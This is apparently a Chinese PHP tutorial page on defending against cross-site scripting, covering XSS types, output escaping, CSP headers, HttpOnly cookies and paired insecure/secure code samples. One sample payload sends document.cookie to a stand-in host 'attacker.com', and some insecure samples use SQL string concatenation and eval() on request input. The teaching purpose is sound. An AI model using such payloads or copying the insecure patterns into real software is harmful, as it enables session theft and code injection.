Skip to content

16.2 防 XSS 攻击

XSS 攻击原理

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络攻击方式,攻击者通过在网页中注入恶意脚本,当用户浏览该网页时,恶意脚本会在用户的浏览器中执行,从而达到攻击的目的。

XSS 攻击的危害

  • 窃取用户信息:获取用户的 cookie、session 等敏感信息
  • 钓鱼攻击:模拟登录表单,诱导用户输入账号密码
  • 恶意操作:以用户身份执行恶意操作
  • 网站污损:在网页上显示恶意内容
  • 传播恶意代码:通过用户的浏览器传播恶意代码

XSS 攻击类型

  1. 存储型 XSS:恶意脚本被存储在服务器数据库中,当其他用户访问包含该内容的页面时执行
  2. 反射型 XSS:恶意脚本作为请求参数发送到服务器,服务器将其反射回浏览器执行
  3. DOM 型 XSS:恶意脚本通过操作 DOM 元素在客户端执行,不经过服务器

防止 XSS 攻击的方法

1. 输入验证和过滤

对用户输入进行验证和过滤,确保输入符合预期格式。

php
// 验证用户名只包含字母、数字和下划线
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
    die("用户名格式不正确");
}

// 验证邮箱格式
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    die("邮箱格式不正确");
}

2. 输出转义

在将用户输入输出到网页之前,对特殊字符进行转义,防止浏览器将其解析为 HTML 或 JavaScript。

使用 htmlspecialchars() 函数

php
// 转义 HTML 特殊字符
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
echo $safe_output;

使用 htmlentities() 函数

php
// 转义所有 HTML 实体
$safe_output = htmlentities($user_input, ENT_QUOTES, 'UTF-8');
echo $safe_output;

3. 使用 Content-Security-Policy 头部

通过设置 Content-Security-Policy 头部,限制网页可以加载的资源和执行的脚本。

php
// 设置 Content-Security-Policy 头部
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com");

设置 Cookie 的 HttpOnly 属性,防止 JavaScript 访问 Cookie。

php
// 设置 HttpOnly Cookie
session_set_cookie_params([
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);
session_start();

// 或直接设置 Cookie
setcookie('user_id', $user_id, time() + 3600, '/', '', true, true);

5. 避免使用 eval() 和动态执行代码

避免使用 eval()、exec()、system() 等函数执行动态代码,防止代码注入。

php
// 不安全的做法
eval('$result = ' . $_GET['expression'] . ';');

// 安全的做法
$allowed_operations = ['+', '-', '*', '/'];
if (in_array($_GET['operation'], $allowed_operations)) {
    switch ($_GET['operation']) {
        case '+':
            $result = $_GET['a'] + $_GET['b'];
            break;
        // 其他操作...
    }
}

6. 使用模板引擎

使用模板引擎(如 Twig、Blade 等),它们会自动处理输出转义。

php
// 使用 Twig 模板引擎
$twig = new Twig_Environment($loader);
echo $twig->render('template.html', ['user_input' => $user_input]);

// template.html 中自动转义
{{ user_input }}

// 如果需要输出原始 HTML
{{ user_input|raw }}

7. 定期更新和补丁

保持应用程序框架和库的更新,及时安装安全补丁。

实战演练

场景:评论系统

不安全的实现

php
<?php
// 保存评论
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (content) VALUES ('$comment')";
mysqli_query($conn, $sql);

// 显示评论
$result = mysqli_query($conn, "SELECT content FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
    echo "<div class='comment'>" . $row['content'] . "</div>";
}
?>

如果攻击者输入以下内容作为评论:

html
<script>alert('XSS Attack!'); document.location.href = 'http://attacker.com/steal.php?cookie=' + document.cookie;</script>

当其他用户浏览评论时,恶意脚本会执行,弹出 alert 并将用户的 cookie 发送到攻击者的服务器。

安全的实现

php
<?php
// 保存评论(使用预处理语句防止 SQL 注入)
$comment = $_POST['comment'];
$stmt = $conn->prepare("INSERT INTO comments (content) VALUES (?)");
$stmt->bind_param("s", $comment);
$stmt->execute();

// 显示评论(使用 htmlspecialchars 防止 XSS)
$result = mysqli_query($conn, "SELECT content FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
    echo "<div class='comment'>" . htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8') . "</div>";
}
?>

场景:搜索功能

不安全的实现

php
<?php
$keyword = $_GET['keyword'];
echo "搜索结果:" . $keyword;
?>

如果攻击者输入以下内容作为搜索关键词:

html
<script>alert('XSS Attack!');</script>

当用户搜索时,恶意脚本会执行,弹出 alert。

安全的实现

php
<?php
$keyword = $_GET['keyword'];
echo "搜索结果:" . htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');
?>

常见 XSS 攻击场景及防护

1. 表单输入

攻击场景:用户在表单中输入恶意脚本 防护方法:对输入进行验证,输出时使用 htmlspecialchars() 转义

2. URL 参数

攻击场景:攻击者通过 URL 参数注入恶意脚本 防护方法:对 URL 参数进行验证,输出时使用 htmlspecialchars() 转义

3. 富文本编辑器

攻击场景:用户在富文本编辑器中输入恶意脚本 防护方法:使用 HTML 过滤器(如 HTML Purifier)过滤危险标签和属性

4. 第三方脚本

攻击场景:第三方脚本被篡改,注入恶意代码 防护方法:使用 Content-Security-Policy 限制脚本来源,定期检查第三方脚本

总结

XSS 攻击是一种严重的安全漏洞,可能导致用户信息泄露、账户被盗等问题。通过输入验证、输出转义、设置 Content-Security-Policy 头部、使用 HTTP-Only Cookie 等方法,可以有效防止 XSS 攻击。

在开发过程中,应始终将安全放在首位,遵循安全编码实践,定期进行安全审计和测试,确保应用程序的安全性。

© 2026 编程马·菜鸟教程 版权所有